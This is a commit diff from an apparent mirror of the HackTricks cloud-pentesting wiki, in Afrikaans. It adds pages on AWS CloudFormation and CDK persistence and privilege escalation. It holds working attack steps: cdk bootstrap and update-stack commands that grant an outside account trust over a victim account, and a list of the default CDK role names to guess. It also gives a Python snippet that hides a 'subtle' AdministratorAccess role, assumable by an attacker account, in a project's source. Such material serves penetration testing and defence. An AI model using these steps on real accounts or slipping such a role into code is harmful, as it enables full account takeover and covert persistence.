mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 05:33:10 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistensie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Vir meer inligting, toegang:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stap
|
||||
|
||||
Die AWS CDK ontplooi 'n CFN stap genoem `CDKToolkit`. Hierdie stap ondersteun 'n parameter `TrustedAccounts` wat eksterne rekeninge toelaat om CDK projekte in die slagoffer rekening te ontplooi. 'n Aanvaller kan dit misbruik om hulself onbepaalde toegang tot die slagoffer rekening te verleen, hetsy deur die AWS cli te gebruik om die stap met parameters weer te ontplooi, of die AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -39,7 +39,7 @@ aws cloudformation update-stack \
|
||||
```
|
||||
Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **jouself `UpdateStack` toestemming** oor 'n stapel te gee en die aanval uit te voer.
|
||||
|
||||
**Potensiële Impak:** Privesc na die cloudformation diensrol gespesifiseer.
|
||||
**Potensiële Impak:** Privesc na die cloudformation diensrol wat gespesifiseer is.
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
@@ -51,9 +51,9 @@ Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **jouself `U
|
||||
|
||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
'n Aanvaller met toestemmings om **'n rol oor te dra en 'n ChangeSet te skep & uit te voer** kan **'n nuwe cloudformation stapel skep/opdateer en die cloudformation diensrolle misbruik** net soos met die CreateStack of UpdateStack.
|
||||
'n Aanvaller met toestemmings om **'n rol oor te dra en 'n ChangeSet te skep & uit te voer** kan **'n nuwe cloudformation stapel skep/opdateer en die cloudformation diensrolle** misbruik net soos met die CreateStack of UpdateStack.
|
||||
|
||||
Die volgende uitbuiting is 'n **variasie van die**[ **CreateStack een**](./#iam-passrole-cloudformation-createstack) wat die **ChangeSet toestemmings** gebruik om 'n stapel te skep.
|
||||
Die volgende uitbuiting is 'n **variasie van die**[ **CreateStack een**](#iam-passrole-cloudformation-createstack) wat die **ChangeSet toestemmings** gebruik om 'n stapel te skep.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
```
|
||||
Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **vir jouself `ChangeSet` toestemmings** oor 'n stapel te gee en die aanval uit te voer.
|
||||
Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **vir jouself `ChangeSet` toestemmings** oor 'n stap te gee en die aanval uit te voer.
|
||||
|
||||
**Potensiële Impak:** Privesc na cloudformation diensrolle.
|
||||
|
||||
@@ -103,8 +103,53 @@ Dit is soos die vorige metode sonder om **IAM rolle** oor te dra, so jy kan net
|
||||
|
||||
**Potensiële Impak:** Privesc na die aangehegte cloudformation rolle.
|
||||
|
||||
## AWS CDK
|
||||
|
||||
Die AWS cdk is 'n hulpmiddel wat gebruikers toelaat om hul infrastruktuur-as-kode in tale te definieer waarmee hulle reeds bekend is, sowel as om maklik gedeeltes te hergebruik. Die CDK omskakel dan die hoëvlak kode (bv. python) in Cloudformation sjablone (yaml of json).
|
||||
|
||||
Om die CDK te gebruik, moet 'n administratiewe gebruiker eers die rekening bootstrap, wat verskeie IAM rolle skep, insluitend die *exec rol*, wat \*/\* toestemmings het. Hierdie rolle volg die naamstruktuur `cdk-<qualifier>-<name>-<account-id>-<region>`. Bootstrapping moet een keer per streek per rekening gedoen word.
|
||||
|
||||
Standaard het CDK gebruikers nie toegang om die rolle wat nodig is om die CDK te gebruik, te lys nie, wat beteken dat jy dit handmatig moet bepaal. As jy 'n ontwikkelaar se masjien of 'n CI/CD node kompromitteer, kan hierdie rolle aanvaar word om jouself die vermoë te gee om CFN sjablone te ontplooi, met die `cfn-exec` rol om CFN toe te laat om enige hulpbronne te ontplooi, wat die rekening volledig kompromitteer.
|
||||
|
||||
### Bepaling van die rolname
|
||||
|
||||
As jy `cloudformation:DescribeStacks` het, is die rolle gedefinieer in 'n stap wat `CDKToolkit` genoem word, en jy kan die name daaruit trek.
|
||||
|
||||
As jy op 'n masjien is wat gebruik is om CDK projekte te bou en te ontplooi, kan jy dit uit `cdk.out/manafest.json` in die projek se wortelgids trek.
|
||||
|
||||
Jy kan ook 'n goeie raai maak oor wat hulle is. `qualifier` is 'n string wat by die rolle gevoeg word wat toelaat dat verskeie instansies van die CDK bootstrap gelyktydig ontplooi kan word, maar die standaardwaarde is hard-gecodeer na `hnb659fds`.
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||
```
|
||||
### Voeg kwaadwillige kode by die projekbron
|
||||
|
||||
As jy na die projekbron kan skryf, maar dit nie self kan ontplooi nie (byvoorbeeld, die ontwikkelaar ontplooi die kode via CI/CD, nie die plaaslike masjien nie), kan jy steeds die omgewing kompromenteer deur kwaadwillige hulpbronne aan die stapel toe te voeg. Die volgende voeg 'n IAM-rol by wat deur 'n aanvallerrekening aanvaar kan word aan 'n python CDK projek.
|
||||
```python
|
||||
class CdkTestStack(Stack):
|
||||
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||
super().__init__(scope, construct_id, **kwargs)
|
||||
|
||||
# ----------
|
||||
# Some existing code.....
|
||||
# ----------
|
||||
|
||||
role = iam.Role(
|
||||
self,
|
||||
"cdk-backup-role", # Role name, make it something subtle
|
||||
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||
managed_policies=[
|
||||
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||
],
|
||||
)
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudFormation
|
||||
|
||||
AWS CloudFormation is 'n diens wat ontwerp is om die **bestuur van AWS hulpbronne te vereenvoudig**. Dit stel gebruikers in staat om meer op hul toepassings wat in AWS loop te fokus deur **die tyd wat aan hulpbronbestuur bestee word te minimaliseer**. Die kernkenmerk van hierdie diens is die **sjabloon**—'n beskrywende model van die verlangde AWS hulpbronne. Sodra hierdie sjabloon verskaf is, is CloudFormation verantwoordelik vir die **verskaffing en konfigurasie** van die gespesifiseerde hulpbronne. Hierdie outomatisering fasiliteer 'n meer doeltreffende en foutvrye bestuur van AWS infrastruktuur.
|
||||
AWS CloudFormation is 'n diens wat ontwerp is om die **bestuur van AWS hulpbronne te vereenvoudig**. Dit stel gebruikers in staat om meer op hul toepassings wat in AWS loop te fokus deur **die tyd wat aan hulpbronbestuur bestee word te minimaliseer**. Die kernkenmerk van hierdie diens is die **sjabloon**—'n beskrywende model van die gewenste AWS hulpbronne. Sodra hierdie sjabloon verskaf is, is CloudFormation verantwoordelik vir die **verskaffing en konfigurasie** van die gespesifiseerde hulpbronne. Hierdie outomatisering fasiliteer 'n meer doeltreffende en foutvrye bestuur van AWS infrastruktuur.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -37,13 +37,19 @@ In die volgende bladsy kan jy kyk hoe om **cloudformation-toestemmings te misbru
|
||||
../aws-privilege-escalation/aws-cloudformation-privesc/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-cloudformation-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Kyk vir **geheime** of sensitiewe inligting in die **sjabloon, parameters & uitvoer** van elke CloudFormation
|
||||
|
||||
## Codestar
|
||||
|
||||
AWS CodeStar is 'n diens vir die skep, bestuur en werk met sagteware-ontwikkelingsprojekte op AWS. Jy kan vinnig toepassings ontwikkel, bou en ontplooi op AWS met 'n AWS CodeStar-projek. 'n AWS CodeStar-projek skep en **integreer AWS-dienste** vir jou projekontwikkelingsgereedskap. Afhangende van jou keuse van AWS CodeStar-projek sjabloon, kan daardie gereedskapbron bronbeheer, bou, ontplooi, virtuele bedieners of serverlose hulpbronne, en meer insluit. AWS CodeStar **bestuur ook die toestemmings wat benodig word vir projekgebruikers** (genoem spanlede).
|
||||
AWS CodeStar is 'n diens vir die skep, bestuur en werk met sagteware-ontwikkelingsprojekte op AWS. Jy kan vinnig toepassings ontwikkel, bou en ontplooi op AWS met 'n AWS CodeStar-projek. 'n AWS CodeStar-projek skep en **integreer AWS-dienste** vir jou projekontwikkelingshulpmiddelketting. Afhangende van jou keuse van AWS CodeStar-projeksjabloon, kan daardie hulpmiddelketting bronbeheer, bou, ontplooi, virtuele bedieners of serverlose hulpbronne, en meer insluit. AWS CodeStar **bestuur ook die toestemmings wat benodig word vir projekgebruikers** (genoem spanlede).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -64,7 +70,7 @@ In die volgende bladsy kan jy kyk hoe om **codestar-toestemmings te misbruik om
|
||||
../aws-privilege-escalation/aws-codestar-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user